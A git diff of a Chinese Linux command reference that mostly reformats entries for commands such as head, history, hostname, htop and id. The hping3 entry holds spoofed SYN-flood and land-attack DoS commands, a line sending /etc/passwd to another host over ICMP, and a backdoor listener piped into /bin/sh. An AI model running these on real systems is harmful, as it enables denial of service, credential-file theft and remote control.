--q:不显示文件名的头信息。 + +```shell +# 查看多个文件: +[user2@pc ~]$ head -n ~/.bash_history ~/.bashrc +==> /allhome/user2/.bash_history <== +#1575425555 +cd ~ +#1575425558 +ls -lh +#1575425562 +vi ~/Desktop/ZhuangZhu-74.txt +#1575425566 +uptime +#1575425570 +find ~/ -maxdepth 3 -name 'test.sh' -exec lh {} \; + +==> /allhome/user2/.bashrc <== +# .bashrc + +# forbid use Ctrl+D to exit shell. +set -o ignoreeof + +# Source global definitions. +if [ -f /etc/bashrc ]; then + . /etc/bashrc +fi + ``` -### 参数 -文件列表:指定显示头部内容的文件列表。 +### 注意 + +1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 head`,`info coreutils 'head invocation'`。 - \ No newline at end of file diff --git a/command/help.md b/command/help.md index 89b1bdad626..5cf580220b3 100644 --- a/command/help.md +++ b/command/help.md @@ -1,33 +1,59 @@ help === - -显示帮助信息 + +该命令是bash内建命令,用于显示bash内建命令的帮助信息。 ## 补充说明 -**help命令** 用于显示shell内部命令的帮助信息。help命令只能显示shell内部的命令帮助信息。而对于外部命令的帮助信息只能使用man或者info命令查看。 +**help命令** help命令只能显示bash内建命令的帮助信息,而对于外部命令的帮助信息只能使用man或者info命令查看。 -### 语法 +### 语法 -``` +```shell help(选项)(参数) ``` -### 选项 +### 选项 +```shell +-d:显示内建命令的简要描述。 +-m:按照man手册的格式输出内建命令的帮助信息。 +-s:仅输出内建命令的命令格式。 +不指定选项时:输出的帮助信息类似于-m选项,但是缺少段落名称和'SEE ALSO','IMPLEMENTATION'部分。 ``` --s:输出短格式的帮助信息。仅包括命令格式。 -``` -### 参数 +### 参数 + +bash内建命令(可以为多个,请用空格分隔开)。 + +### 常见问题 + +Q:有哪些命令是bash内建命令?我如何判断一个命令是否为bash内建命令? + +A:您可以在终端使用 'man builtin' 或 'man builtins' 来获取;您可以查看bash内建命令 'type' 的帮助信息。 + +Q:那么help命令本身的帮助信息如何获取? + +A:把help作为参数传给help命令;) -内部命令:指定需要显示帮助信息的shell内部命令。 +Q:为什么echo也可以用 'man echo' 来查看帮助信息? -### 实例 +A:因为除了bash内建的echo,GNU/linux的coreutils包里也有该命令;在echo的man手册中,DESCRIPTION段落的 'NOTE' 也提示了和同名内建的不同。 + +PS:当你在shell脚本里定义了一个叫 'echo' 的函数,那么调用的时候优先级会如何呢? + +请参考 'builtin' 命令 + +Q:我需要获得更多的bash的相关帮助信息 + +A:限于篇幅和主题,您可以在终端执行 'man bash' , 'info bash' ,[访问bash官方网站](http://www.gnu.org/software/bash/),以及搜索引擎等。 + + +### 实例 使用help命令显示shell内部shopt命令的帮助信息,输入如下命令: -``` +```shell help shopt #获取shopt命令的帮助信息 shopt: shopt [-pqsu] [-o long-option] optname [optname...] Toggle the values of variables controlling optional behavior. @@ -41,4 +67,4 @@ shopt: shopt [-pqsu] [-o long-option] optname [optname...] ``` - \ No newline at end of file + diff --git a/command/hexdump.md b/command/hexdump.md index 86e1a0a6983..76bef5305b0 100644 --- a/command/hexdump.md +++ b/command/hexdump.md @@ -1,21 +1,21 @@ hexdump === - + 显示文件十六进制格式 ## 补充说明 **hexdump命令** 一般用来查看“二进制”文件的十六进制编码,但实际上它能查看任何文件,而不只限于二进制文件。 -### 语法 +### 语法 -``` +```shell hexdump [选项] [文件]... ``` -### 选项 +### 选项 -``` +```shell -n length 只格式化输入文件的前length个字节。 -C 输出规范的十六进制和ASCII码。 -b 单字节八进制显示。 @@ -29,7 +29,7 @@ hexdump [选项] [文件]... 每个格式字符串由三部分组成,每个由空格分隔,第一个形如a/b,b表示对每b个输入字节应用format1格式,a表示对每a个输入字节应用format2格式,一般a>b,且b只能为1,2,4,另外a可以省略,省略则a=1。format1和format2中可以使用类似printf的格式字符串,如: -``` +```shell %02d:两位十进制 %03x:三位十六进制 %02o:两位八进制 @@ -38,7 +38,7 @@ hexdump [选项] [文件]... 还有一些特殊的用法: -``` +```shell %_ad:标记下一个输出字节的序号,用十进制表示。 %_ax:标记下一个输出字节的序号,用十六进制表示。 %_ao:标记下一个输出字节的序号,用八进制表示。 @@ -47,9 +47,9 @@ hexdump [选项] [文件]... 同一行如果要显示多个格式字符串,则可以跟多个`-e`选项。 -### 实例 +### 实例 -``` +```shell hexdump -e '16/1 "%02X " " | "' -e '16/1 "%_p" "\n"' test 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F | ................ 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F | ................ @@ -57,4 +57,3 @@ hexdump -e '16/1 "%02X " " | "' -e '16/1 "%_p" "\n"' test ``` - \ No newline at end of file diff --git a/command/history.md b/command/history.md index 8b9653779a5..2a38ab9c255 100644 --- a/command/history.md +++ b/command/history.md @@ -1,46 +1,51 @@ history === -用于显示历史命令 +显示或操作历史列表。 -## 补充说明 +## 概要 -**history命令** 用于显示指定数目的指令命令,读取历史命令文件中的目录到历史命令缓冲区和将历史命令缓冲区中的目录写入命令文件。 +```shell +history [-c] [-d offset] [n] +history -anrw [filename] +history -ps arg [arg...] +``` -该命令单独使用时,仅显示历史命令,在命令行中,可以使用符号`!`执行指定序号的历史命令。例如,要执行第2个历史命令,则输入`!2`。 +## 主要用途 -历史命令是被保存在内存中的,当退出或者登录shell时,会自动保存或读取。在内存中,历史命令仅能够存储1000条历史命令,该数量是由环境变量`HISTSIZE`进行控制。 +- 显示历史列表。 -### 语法 +- 操作历史列表。 -``` -history(选项)(参数) +## 选项 + +```shell +-c 清空历史列表。 +-d offset 根据offset删除记录。如果是正数则表示offset位置的记录,如果为负数则表示从结尾向前offset位置的记录。 +-a 将当前终端的历史记录行添加到历史记录文件。 +-n 将尚未从历史文件中读取的历史行追加到当前历史列表中。 +-r 读取历史文件,并将其内容附加到历史列表中。 +-w 将当前历史记录列表附加到历史记录文件中并且附加它们到历史列表中。 +-p 在每个arg上执行历史记录扩展并在标准输出上显示结果,而不将结果存储在历史记录列表中。 +-s 将每个arg作为单个条目附加到历史记录列表。 ``` -### 选项 +## 参数 -``` --c:清空当前历史命令; --a:将历史命令缓冲区中命令写入历史命令文件中; --r:将历史命令文件中的命令读入当前历史命令缓冲区; --w:将当前历史命令缓冲区命令写入历史命令文件中。 -``` +n:可选,只列出最近的n条记录。 -### 参数 +filename:可选,表示历史文件;默认调用顺序为`filename`、环境变量`HISTFILE`、`~/.bash_history`。 -n:打印最近的n条历史命令。 +## 返回值 -### 实例 +返回成功,除非提供了非法选项或出现了错误。 -使用history命令显示最近使用的10条历史命令,输入如下命令: +## 例子 -``` -[root@localhost ~]# history 10 - 92 ls - 93 cd .. - 94 ls - 95 exit - 96 ls -a +使用history命令显示最近使用的 5 条历史命令 + +```shell +[root@localhost ~]# history 5 97 cd .ssh/ 98 ls 99 cat known_hosts @@ -48,30 +53,37 @@ n:打印最近的n条历史命令。 101 history 10 ``` -列出最近3条记录 - -``` -[root@localhost ~]# history 3 - 15 2017-08-26 11:44:35 root history 3 - 16 2017-08-26 11:44:37 root history n - 17 2017-08-26 11:44:40 root history 3 -``` - 清空历史记录 -``` +```shell [root@localhost ~]# history -c ``` -更多实例: +删除制定的行 +```shell +[root@localhost ~]# history -d <指定行号> +[root@localhost ~]# history -d 2243 ``` -history -cw -`~/.bash_history`: 保存历史命令 -`/etc/profile` -> HISSIZE: 历史命令保存数量 -推荐添加 h -> history, hsi -> history|grep 别名 -`!n`: 执行第 n 条历史命令 -`!xxx`: 执行最后一条 xxx 开头的命令 + +快捷执行一条历史命令 + +```shell +# 执行第 n 条历史命令 +[root@localhost ~]# !n + +# 执行最后一条 xxx 开头的命令 +[root@localhost ~]# !xxx ``` - + +### 注意 + +1. 在命令行中,可以使用符号`!`执行指定序号的历史命令。例如,要执行第2个历史命令,则输入`!2`。 +2. 关闭终端后,历史列表将被写入历史文件`~/.bash_history`。 +3. 环境变量`HISTSIZE`决定了历史文件中命令的存储数量,默认存储1000条。 +4. 环境变量`HISTTIMEFORMAT`如果是非空值,则使用其值作为`strftime(3)`打印相关时间戳的格式字符串添加在每个显示的历史记录之前;否则不会打印时间戳。 +5. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 + + + diff --git a/command/host.md b/command/host.md index bdc879992b5..7685b10a9b8 100644 --- a/command/host.md +++ b/command/host.md @@ -1,21 +1,21 @@ host === - + 常用的分析域名查询工具 ## 补充说明 **host命令** 是常用的分析域名查询工具,可以用来测试域名系统工作是否正常。 -### 语法 +### 语法 -``` +```shell host(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -a:显示详细的DNS信息; -c<类型>:指定查询类型,默认值为“IN“; -C:查询指定主机的完整的SOA记录; @@ -28,13 +28,13 @@ host(选项)(参数) -6:使用IPv6. ``` -### 参数 +### 参数 主机:指定要查询信息的主机信息。 -### 实例 +### 实例 -``` +```shell [root@localhost ~]# host www.jsdig.com www.jsdig.com is an alias for host.1.jsdig.com. host.1.jsdig.com has address 100.42.212.8 @@ -54,4 +54,3 @@ Received 54 bytes from 202.96.104.15#53 in 0 ms ``` - \ No newline at end of file diff --git a/command/hostid.md b/command/hostid.md index d407f219bd0..2f4bf567709 100644 --- a/command/hostid.md +++ b/command/hostid.md @@ -1,31 +1,36 @@ hostid === - -用来打印当前主机的数字化标识 -## 补充说明 +显示当前主机的十六进制数字标识。 -**hostid命令** 用于打印当前主机的十六进制数字标识。是主机的唯一标识,是被用来限时软件的使用权限,不可改变。 +## 概要 -### 语法 - -``` -hostid +```shell +hostid [OPTION]... ``` -### 选项 +## 主要用途 -``` ---help:显示帮助信息; ---version:显示版本信息。 -``` +- 显示当前主机的十六进制标识符。 +- 用来限制软件的使用权限,不可改变。 -### 实例 +## 选项 +```shell +--help 显示帮助信息并退出。 +--version 显示版本信息并退出。 ``` + +## 例子 + +```shell [root@localhost ~]# hostid 007f0100 ``` +### 注意 + +1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 hostid`,`info coreutils 'hostid invocation'`。 + + - \ No newline at end of file diff --git a/command/hostname.md b/command/hostname.md index 92b0b676eb7..f0f9c05bd52 100644 --- a/command/hostname.md +++ b/command/hostname.md @@ -5,41 +5,59 @@ hostname ## 补充说明 -**hostname命令** 用于显示和设置系统的主机名称。环境变量HOSTNAME也保存了当前的主机名。在使用hostname命令设置主机名后,系统并不会永久保存新的主机名,重新启动机器之后还是原来的主机名。如果需要永久修改主机名,需要同时修改`/etc/hosts`和`/etc/sysconfig/network`的相关内容。 +**hostname命令** +用于显示和设置系统的主机名称。 + +- 环境变量 `HOSTNAME` 也保存了当前的主机名。 +- 在使用 `hostname` 命令设置主机名后,系统并不会永久保存新的主机名,重启之后还是原来的主机名。如果需要永久修改主机名,需要修改 `/etc/hosts` 和 `/etc/sysconfig/network` 的相关内容并进行重启;也可以使用 `hostnamectl` 命令进行永久修改。 ### 语法 -``` -hostname(选项)(参数) -``` +```shell +hostname [-b] {hostname|-F file} 设置主机名称(或从文件获取) +hostname [-a|-A|-d|-f|-i|-I|-s|-y] 显示格式化的名称 +hostname 显示主机名称 -### 选项 +{yp,nis,}domainname {nisdomain|-F file} 设置 NIS 主机名称(或从文件获取) +{yp,nis,}domainname 显示 NIS 主机名称 -``` --v:详细信息模式; --a:显示主机别名; --d:显示DNS域名; --f:显示FQDN名称; --i:显示主机的ip地址; --s:显示短主机名称,在第一个点处截断; --y:显示NIS域名。 +dnsdomainname 显示 DNS 主机名称 + +hostname -V|--version|-h|--help 打印信息并退出 ``` -### 参数 +### 选项 -主机名:指定要设置的主机名。 +```shell +-a, --alias 显示主机别名 +-A, --all-fqdns 显示所有FQDN名称 +-b, --boot 如果没有可用的主机名,则设置默认主机名 +-d, --domain 显示DNS域名 +-f, --fqdn, --long 显示FQDN名称 +-F, --file 从给定文件中读取主机名或NIS域名 +-i, --ip-address 显示主机的ip地址 +-I, --all-ip-addresses 显示主机所有的ip地址 +-s, --short 显示短主机名称,在第一个点处截断 +-y, --yp, --nis 显示NIS域名 +``` ### 实例 -``` +显示主机名 +```shell [root@AY1307311912260196fcZ ~]# hostname AY1307311912260196fcZ +``` + +临时改变主机名 +```shell +[root@AY1307311912260196fcZ ~]# hostname newname +``` -# change hostname -hostname newname # for now -vi /etc/hosts # forever -reboot +显示主机的所有IP地址 +```shell +[root@AY1307311912260196fcZ ~]# hostname -I +10.17.0.1 10.18.0.10 172.17.0.1 ``` - \ No newline at end of file diff --git a/command/hostnamectl.md b/command/hostnamectl.md new file mode 100644 index 00000000000..37dec2c8e0f --- /dev/null +++ b/command/hostnamectl.md @@ -0,0 +1,52 @@ +hostnamectl +=== + +查询或更改系统主机名 + +## 补充说明 + +hostnamectl可用于查询和更改系统主机名和相关设置。 + +### 语法 + +```bash +hostnamectl [选项...] 指令 ... +``` +### 指令 + +```bash +status 显示当前主机名设置 +set-hostname NAME 设置系统主机名 +set-icon-name NAME 设置主机的图标名称 +set-chassis NAME 设置主机的机箱类型 +set-deployment NAME 设置主机的部署环境 +set-location NAME 设置主机位置 +``` + +### 选项 + +```bash +-h --help 显示此帮助 + --version 显示包的版本 + --no-ask-password 不提示输入密码 +-H --host=[USER@]HOST 在远程主机上操作 +-M --machine=CONTAINER 在本地容器上执行操作。指定要连接到的容器名称。 +--transient, --static, --pretty + 如果调用了status(或者没有给出显式命令)并且指定了其中一个开关,hostnamectl将只打印出这个选定的主机名。 +``` + +### 实例 + +显示主机名设置 + +```bash +$ hostnamectl status +``` + + +改变主机名(永久修改,不用重启哦~) + +```bash +$ sudo hostnamectl set-hostname newname +``` + diff --git a/command/hping3.md b/command/hping3.md index 69883b9bffd..cc839cbb140 100644 --- a/command/hping3.md +++ b/command/hping3.md @@ -1,15 +1,15 @@ hping3 === - + 测试网络及主机的安全 ## 补充说明 **hping** 是用于生成和解析TCPIP协议数据包的开源工具。创作者是Salvatore Sanfilippo。目前最新版是hping3,支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。 -### 安装 +### 安装 -``` +```shell yum install libpcap-devel tc-devel ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h wget http://www.hping.org/hping3-20051105.tar.gz @@ -20,9 +20,9 @@ make make install ``` -### 选项 +### 选项 -``` +```shell -H --help 显示帮助。 -v -VERSION 版本信息。 -c --count count 发送数据包的次数 关于countreached_timeout 可以在hping2.h里编辑。 @@ -69,25 +69,25 @@ make install -Q --seqnum 搜集序列号的,这对于你分析TCP序列号有很大作用。 ``` -### Hping3功能 +### Hping3功能 Hping3主要有以下典型功能应用: -####  防火墙测试 +### #  防火墙测试 使用Hping3指定各种数据包字段,依次对防火墙进行详细测试。请参考:http://0daysecurity.com/articles/hping3_examples.html 测试防火墙对ICMP包的反应、是否支持traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击(DoS attack)。例如,以LandAttack方式测试目标防火墙(Land Attack是将发送源地址设置为与目标地址相同,诱使目标机与自己不停地建立连接)。 -``` +```shell hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10 ``` -#### 端口扫描 +### # 端口扫描 Hping3也可以对目标端口进行扫描。Hping3支持指定TCP各个标志位、长度等信息。以下示例可用于探测目标机的80端口是否开放: -``` +```shell hping3 -I eth0 -S 192.168.10.1 -p 80 ``` @@ -95,27 +95,27 @@ hping3 -I eth0 -S 192.168.10.1 -p 80 hping3支持非常丰富的端口探测方式,nmap拥有的扫描方式hping3几乎都支持(除开connect方式,因为Hping3仅发送与接收包,不会维护连接,所以不支持connect方式探测)。而且Hping3能够对发送的探测进行更加精细的控制,方便用户微调探测结果。当然,Hping3的端口扫描性能及综合处理能力,无法与Nmap相比。一般使用它仅对少量主机的少量端口进行扫描。 -#### Idle扫描 +### # Idle扫描 Idle扫描(Idle Scanning)是一种匿名扫描远程主机的方式,该方式也是有Hping3的作者Salvatore Sanfilippo发明的,目前Idle扫描在Nmap中也有实现。 该扫描原理是:寻找一台idle主机(该主机没有任何的网络流量,并且IPID是逐个增长的),攻击端主机先向idle主机发送探测包,从回复包中获取其IPID。冒充idle主机的IP地址向远程主机的端口发送SYN包(此处假设为SYN包),此时如果远程主机的目的端口开放,那么会回复SYN/ACK,此时idle主机收到SYN/ACK后回复RST包。然后攻击端主机再向idle主机发送探测包,获取其IPID。那么对比两次的IPID值,我们就可以判断远程主机是否回复了数据包,从而间接地推测其端口状态。 -#### 拒绝服务攻击 +### # 拒绝服务攻击 使用Hping3可以很方便构建拒绝服务攻击。比如对目标机发起大量SYN连接,伪造源地址为192.168.10.99,并使用1000微秒的间隔发送各个SYN包。 -``` +```shell hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000 ``` 其他攻击如smurf、teardrop、land attack等也很容易构建出来。 -#### 文件传输 +### # 文件传输 Hping3支持通过TCP/UDP/ICMP等包来进行文件传输。相当于借助TCP/UDP/ICMP包建立隐秘隧道通讯。实现方式是开启监听端口,对检测到的签名(签名为用户指定的字符串)的内容进行相应的解析。在接收端开启服务: -``` +```shell hping3 192.168.1.159--listen signature --safe --icmp ``` @@ -123,13 +123,13 @@ hping3 192.168.1.159--listen signature --safe --icmp 在发送端使用签名打包的ICMP包发送文件: -``` +```shell hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd ``` 将`/etc/passwd`密码文件通过ICMP包传给192.168.10.44主机。发送包大小为100字节(-d 100),发送签名为signature(-sign signature)。 -#### 木马功能 +### # 木马功能 如果Hping3能够在远程主机上启动,那么可以作为木马程序启动监听端口,并在建立连接后打开shell通信。与netcat的后门功能类似。 @@ -137,13 +137,13 @@ hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd 在木马启动端: -``` +```shell hping3 192.168.10.66--listen signature --safe --udp -p 53 | /bin/sh ``` 在远程控制端: -``` +```shell echo ls >test.cmd hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd ``` @@ -153,4 +153,3 @@ hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd 当然这里只是简单的演示程序,真实的场景,控制端可以利益shell执行很多的高级复杂的操作。 - \ No newline at end of file diff --git a/command/htdigest.md b/command/htdigest.md index bfaea993639..0d8f0b10398 100644 --- a/command/htdigest.md +++ b/command/htdigest.md @@ -1,29 +1,28 @@ htdigest === - + Apache服务器内置工具 ## 补充说明 **htdigest命令** 是Apache的Web服务器内置工具,用于创建和更新储存用户名、域和用于摘要认证的密码文件。 -### 语法 +### 语法 -``` +```shell htdigest(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -c:创建密码文件。 ``` -### 参数 +### 参数 * 密码文件:指定要创建或更新的密码文件; * 域:指定用户名所属的域; * 用户名:要创建或者更新的用户名。 - \ No newline at end of file diff --git a/command/htop.md b/command/htop.md index f8013201099..9a0c886834b 100644 --- a/command/htop.md +++ b/command/htop.md @@ -1,7 +1,7 @@ htop === -[非内部命令]一个互动的进程查看器,可以动态观察系统进程状况。 +[非内部命令]一个互动的进程查看器,可以动态观察系统进程状况 ## 补充说明 @@ -24,15 +24,63 @@ top缺点: htop 官网:http://htop.sourceforge.net/ -### 语法 +### htop 安装 +在大多数的 Linux 发行版中你不会找到预安装的 `htop`,但作为最流行的实用程序之一,你会在几乎每个 Linux 发行版的默认存储库中找到 `htop`。 + +因此,如果你的机器是基于 Debian/Ubuntu 驱动的,则以下命令应该可以完成你的工作: + +```shell +sudo apt install htop +``` + +类似的,如果你使用的是 Fedora,则可以使用以下的命令: + +```shell +sudo dnf install htop +``` + +如果你使用的是 CentOS 或 RedHat 则可以使用以下的命令: + +```shell +sudo yum install htop ``` +如果你想避免从源代码构建包,还有一个 Snap 包可用: + +```shell +sudo snap install htop +``` + +如果你使用的是其它的发行版或者想从源代码构建,你可以使用 `wget` 下载并安装: +这需要你下载并安装 `wget` `cmake` + +```shell +wget https://link.zhihu.com/?target=https%3A//hisham.hm/htop/releases/2.2.0/htop-2.2.0.tar.gz + +tar -zxvf htop-2.2.0.tar.gz + +cd htop-2.2.0/ + +./configure + +make + +make install +``` + +当然你也可以随时参考你可以随时参考 [htop 的 GitHub](https://link.zhihu.com/?target=https%3A//github.com/htop-dev/htop) 页面以获得详细说明。 + +**说明**:htop源码安装方式默认安装到 `/usr/local` 目录下,如果想安装到其它路径,在执行 configure 时通过 `—prefix` 指定,格式为:`./configure --prefix=/some/path` + +### 语法 + +```shell htop ``` ### 参数 -``` +```shell -C --no-color 使用单色配色方案 -d --delay=DELAY 设置更新之间的延迟,在十秒 -s --sort-key=COLUMN 纵列排序(try --sort-key=help for a list) @@ -42,9 +90,19 @@ htop -v --version 打印版本信息 ``` -### 选项 +#### 参数示例 -``` +- -C 选项:设置界面为无颜色。 + +- -d 选项 : 设置刷新时间,单位为秒。如,htop -d 10命令会每10秒刷新一次。 + +- -s 选项 : 按指定的列排序。如,htop -s PID命令会按PID 列的大小排序来显示。 + +- -u 选项 : 显示指定的用户的进程信息。如,htop -u test命令会只显示出用户名为test的相关进程。 + +### 选项 + +```shell h,? F1:查看htop使用说明 S F2:设置 / F3:搜索进程 @@ -126,4 +184,3 @@ F7表示减小nice值(增大优先级),F8增大nice值(减小优先级),选 **F10:退出htop** - \ No newline at end of file diff --git a/command/htpasswd.md b/command/htpasswd.md index 6f6057606a5..cdf96677bb8 100644 --- a/command/htpasswd.md +++ b/command/htpasswd.md @@ -1,19 +1,19 @@ htpasswd === - + apache服务器创建密码认证文件 ## 补充说明 **htpasswd命令** 是Apache的Web服务器内置工具,用于创建和更新储存用户名、域和用户基本认证的密码文件。 -### 语法 +### 语法 -### htpasswd(选项)(参数) +### htpasswd(选项)(参数) -### 选项 +### 选项 -``` +```shell -c:创建一个加密文件; -n:不更新加密文件,只将加密后的用户名密码显示在屏幕上; -m:默认采用MD5算法对密码进行加密; @@ -24,16 +24,16 @@ apache服务器创建密码认证文件 -D:删除指定的用户。 ``` -### 参数 +### 参数 * 用户:要创建或者更新密码的用户名; * 密码:用户的新密码。 -### 实例 +### 实例 **利用htpasswd命令添加用户** -``` +```shell htpasswd -bc .passwd www.jsdig.com php ``` @@ -41,7 +41,7 @@ htpasswd -bc .passwd www.jsdig.com php **在原有密码文件中增加下一个用户** -``` +```shell htpasswd -b .passwd Jack 123456 ``` @@ -49,7 +49,7 @@ htpasswd -b .passwd Jack 123456 **不更新密码文件,只显示加密后的用户名和密码** -``` +```shell htpasswd -nb Jack 123456 ``` @@ -57,13 +57,13 @@ htpasswd -nb Jack 123456 **利用htpasswd命令删除用户名和密码** -``` +```shell htpasswd -D .passwd Jack ``` **利用htpasswd命令修改密码** -``` +```shell htpasswd -D .passwd Jack htpasswd -b .passwd Jack 123456 ``` @@ -71,4 +71,3 @@ htpasswd -b .passwd Jack 123456 即先使用htpasswd删除命令删除指定用户,再利用htpasswd添加用户命令创建用户即可实现修改密码的功能。 - \ No newline at end of file diff --git a/command/hwclock.md b/command/hwclock.md index ac01e00aa65..8644035b643 100644 --- a/command/hwclock.md +++ b/command/hwclock.md @@ -1,6 +1,6 @@ hwclock === - + 显示与设定硬件时钟 ## 补充说明 @@ -9,15 +9,15 @@ hwclock 在Linux中有硬件时钟与系统时钟等两种时钟。硬件时钟是指主机板上的时钟设备,也就是通常可在BIOS画面设定的时钟。系统时钟则是指kernel中的时钟。当Linux启动时,系统时钟会去读取硬件时钟的设定,之后系统时钟即独立运作。所有Linux相关指令与函数都是读取系统时钟的设定。 -### 语法 +### 语法 -``` +```shell hwclock(选项) ``` -### 选项 +### 选项 -``` +```shell --adjust:hwclock每次更改硬件时钟时,都会记录在/etc/adjtime文件中。使用--adjust参数,可使hwclock根据先前的记录来估算硬件时钟的偏差,并用来校正目前的硬件时钟; --debug:显示hwclock执行时详细的信息; --directisa:hwclock预设从/dev/rtc设备来存取硬件时钟。若无法存取时,可用此参数直接以I/O指令来存取硬件时钟; @@ -30,31 +30,31 @@ hwclock(选项) --version:显示版本信息。 ``` -### 实例 +### 实例 设置硬件时间要依赖于操作系统时间,具体方法如下: -``` +```shell hwclock –systohc hwclock --systohc –-utc ``` 不加任何参数使用hwclock,可以查看当前的硬件日期和时间。 -``` +```shell hwclock ``` 查看clock文件,确认是否设置了UTC: -``` +```shell cat /etc/default/rcS UTC=yes ``` 在其他一些版本的Linux(如RebHat)中可以这样查看: -``` +```shell cat /etc/sysconfig/clock ZONE="America/Los_Angeles" UTC=false @@ -62,4 +62,3 @@ ARC=false ``` - \ No newline at end of file diff --git a/command/iconv.md b/command/iconv.md index 0eeea7afefd..658e7938417 100644 --- a/command/iconv.md +++ b/command/iconv.md @@ -1,21 +1,21 @@ iconv === - + 转换文件的编码方式 ## 补充说明 **iconv命令** 是用来转换文件的编码方式的,比如它可以将UTF8编码的转换成GB18030的编码,反过来也行。JDK中也提供了类似的工具native2ascii。Linux下的iconv开发库包括iconv_open,iconv_close,iconv等C函数,可以用来在C/C++程序中很方便的转换字符编码,这在抓取网页的程序中很有用处,而iconv命令在调试此类程序时用得着。 -### 语法 +### 语法 -``` +```shell iconv -f encoding [-t encoding] [inputfile]... ``` -### 选项 +### 选项 -``` +```shell -f encoding :把字符从encoding编码开始转换。 -t encoding :把字符转换到encoding编码。 -l :列出已知的编码字符集合 @@ -26,21 +26,20 @@ iconv -f encoding [-t encoding] [inputfile]... -f和-t所能指定的合法字符在-l选项的命令里面都列出来了。 ``` -### 实例 +### 实例 列出当前支持的字符编码:  -``` +```shell iconv -l ``` 将文件file1转码,转后文件输出到fil2中:  -``` +```shell iconv file1 -f EUC-JP-MS -t UTF-8 -o file2 ``` 这里,没`-o`那么会输出到标准输出。 - \ No newline at end of file diff --git a/command/id.md b/command/id.md index 567be5fa301..f19dde917b6 100644 --- a/command/id.md +++ b/command/id.md @@ -1,59 +1,71 @@ id === - -显示用户的ID以及所属群组的ID -## 补充说明 +打印真实以及有效的用户和所在组的信息 -**id命令** 可以显示真实有效的用户ID(UID)和组ID(GID)。UID 是对一个用户的单一身份标识。组ID(GID)则对应多个UID。id命令已经默认预装在大多数Linux系统中。要使用它,只需要在你的控制台输入id。不带选项输入id会显示如下。结果会使用活跃用户。 +## 概要 -当我们想知道某个用户的UID和GID时id命令是非常有用的。一些程序可能需要UID/GID来运行。id使我们更加容易地找出用户的UID以GID而不必在`/etc/group`文件中搜寻。如往常一样,你可以在控制台输入`man id`进入id的手册页来获取更多的详情。 +```shell +id [OPTION]... [USER]... +``` -### 语法 +## 主要用途 -``` -id [-gGnru]--[help][--version][用户名称] -``` +- 没有选项时,打印指定用户ID信息。 -### 选项 +## 选项 +```shell +-a 兼容性选项,没有实际作用。 +-Z, --context 只打印进程的安全上下文。 +-g, --group 只打印有效的组ID。 +-G, --groups 打印全部组ID。 +-u, --user 只打印有效的用户ID。 +-z, --zero 使用空字符代替默认的空格来分隔条目。 +--help 显示帮助信息并退出。 +--version 显示版本信息并退出。 ``` --g或--group   显示用户所属群组的ID。 --G或--groups 显示用户所属附加群组的ID。 --n或--name   显示用户,所属群组或附加群组的名称。 --r或--real   显示实际ID。 --u或--user   显示用户ID。 --help   显示帮助。 --version   显示版本信息。 + +只有在使用 `-u` `-g` `-G` 选项中一到多个时,以下选项可以使用: +```shell +-n, --name 打印名称而不是数字。 +-r, --real 打印真实ID而不是有效ID。 ``` -### 实例 +## 参数 +user(可选):可以为一到多个,默认为当前用户。 -``` +## 返回值 + +返回0表示成功,返回非0值表示失败。 + +## 例子 + +```shell [root@localhost ~]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) ``` 解释:用户root的UID号码 = 0,GID号码 = 0。用户root是下面组的成员: -* root组GID号是:0 -* bin组GID号是:1 -* daemon组GID号是:2 -* sys组GID号是:3 -* adm组GID号是:4 -* disk组GID号是:6 -* wheel组GID号是:10 +* root组GID号是:0 +* bin组GID号是:1 +* daemon组GID号是:2 +* sys组GID号是:3 +* adm组GID号是:4 +* disk组GID号是:6 +* wheel组GID号是:10 打印用户名、UID 和该用户所属的所有组,要这么做,我们可以使用 -a 选项: -``` +```shell [root@localhost ~]# id -a uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) ``` 输出所有不同的组ID ,有效的,真实的和补充的,我们可以使用 -G 选项来实现: -``` +```shell [root@localhost ~]# id -G 0 1 2 3 4 6 10 ``` @@ -62,17 +74,22 @@ uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10 只输出有效的组ID,通过使用 -g 选项来只输出有效组ID: -``` +```shell [root@localhost ~]# id -g 0 ``` 输出特定用户信息,我们可以输出特定的用户信息相关的UID和GID。只需要在id命令后跟上用户名: -``` +```shell [root@localhost ~]# id www uid=500(www) gid=500(www) groups=500(www) ``` +### 注意 + +1. 该命令可以显示真实有效的用户ID(UID)和组ID(GID)。UID 是对一个用户的单一身份标识。组ID(GID)则对应多个UID;一些程序可能需要UID/GID来运行。`id` 使我们更加容易地找出用户的UID以及GID,而不必在 `/etc/group` 文件中搜寻。 + +2. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 id`,`info coreutils 'id invocation'`。 + - \ No newline at end of file diff --git a/command/ifcfg.md b/command/ifcfg.md index 496e27c1b83..ff3ea49d340 100644 --- a/command/ifcfg.md +++ b/command/ifcfg.md @@ -1,21 +1,21 @@ ifcfg === - + 置Linux中的网络接口参数 ## 补充说明 **ifcfg命令** 是一个Bash脚本程序,用来设置Linux中的网络接口参数。 -### 语法 +### 语法 -``` +```shell ifcfg(参数) ``` -### 参数 +### 参数 -``` +```shell 网络接口:指定要操作的网络接口; add/del:添加或删除网络接口上的地址; 